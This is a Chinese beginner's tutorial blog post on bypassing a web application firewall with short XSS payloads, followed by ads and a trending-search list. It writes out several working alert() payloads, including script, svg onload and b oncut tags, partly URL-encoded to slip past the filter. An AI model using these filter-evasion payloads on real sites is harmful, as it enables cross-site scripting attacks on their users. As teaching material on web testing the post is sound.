用最短的payload绕过WAF(入门)
本文作者:jishuzhain
<font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过。</font>
我在这里先使用一个网页举例。
<script>alert(1)</script>
然后输入经典的payload
拒绝访问!看起来像是WAF正在限制我们的方式。所以我要用URL编码对我们的payload进行编码。可以在搜索引擎上找到一些可以做到这一点的网站,但我喜欢用火狐的HackBar插件。所以我把我的payload进行了编码。
现在来看看是否可以绕过WAF
%3C%73%63%72%69%70%74%3E%61%6c的%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E是啊 我们成功了! 这真的很简单,但如果搜索表单不允许我们输入超过35个字符怎么办?或者25呢? 先尝试缩短这个75个字符长的payload。 首先,我们并不需要对所有内容进行编码,所以尝试通过不同的payload来找出WAF进行限制的字符。(这是一种方法,先测试waf限制的字符有哪些,哒哒哈)
%3cscript%3ealert(1)%3c%2fscript%3e Success %3cscript>alert(1)%3c%2fscriptAccess Denied <script%3ealert(1)%3c/fscript%3e Access Denied……
%3cscript%3ealert(1)%3c/scriptSuccess实际上也可以使用alert()而不是alert(1)。alert()将给我们一个空白的警告弹出,并将减小使用1个字符。 所以这里是我们的最后的payload只有31个字符:
%3cscript%3ealert()%3c/script>JavaScript不限于脚本标签。所以可以尝试用不同的标签和事件处理程序创建payload。
<svg onload = alert()>
拒绝访问
编码之后成功
%3c%73%76%67%20%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%29%3e 成功
尝试了payload的不同变体,找出应该编码的内容,这就是最后所得到的:
%3csvg onload%3dalert()> 成功
因此,现在将payload缩短为24个字符!能做得更短吗?可以,看看这个精美的payload%3cb oncut%3dalert()>
没有编码它看起来像这样
<b oncut = alert()>
如果你输入了这个payload,没有任何事情会发生。
但是一旦尝试从网页上剪切一些文字
将会看到XSS的弹弹弹!哈哈
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 构建新时代中塞命运共同体 4923010
- 2 水果店开了二十几年只卖香蕉 4947273
- 3 东部战区回应美舰过航台湾海峡 4860685
- 4 “铁杆”塞尔维亚是个怎样的国家? 4767887
- 5 疾控在高烧老人家中找出近200只蜱虫 4699491
- 6 假日经济谋得发展增量 4596561
- 7 周琦离场 4492346
- 8 女方不退20多万彩礼被带上警车 4349355
- 9 杭州将全面取消新房限购?不实 4211880
- 10 贾跃亭430多亿元灰飞烟灭 4184870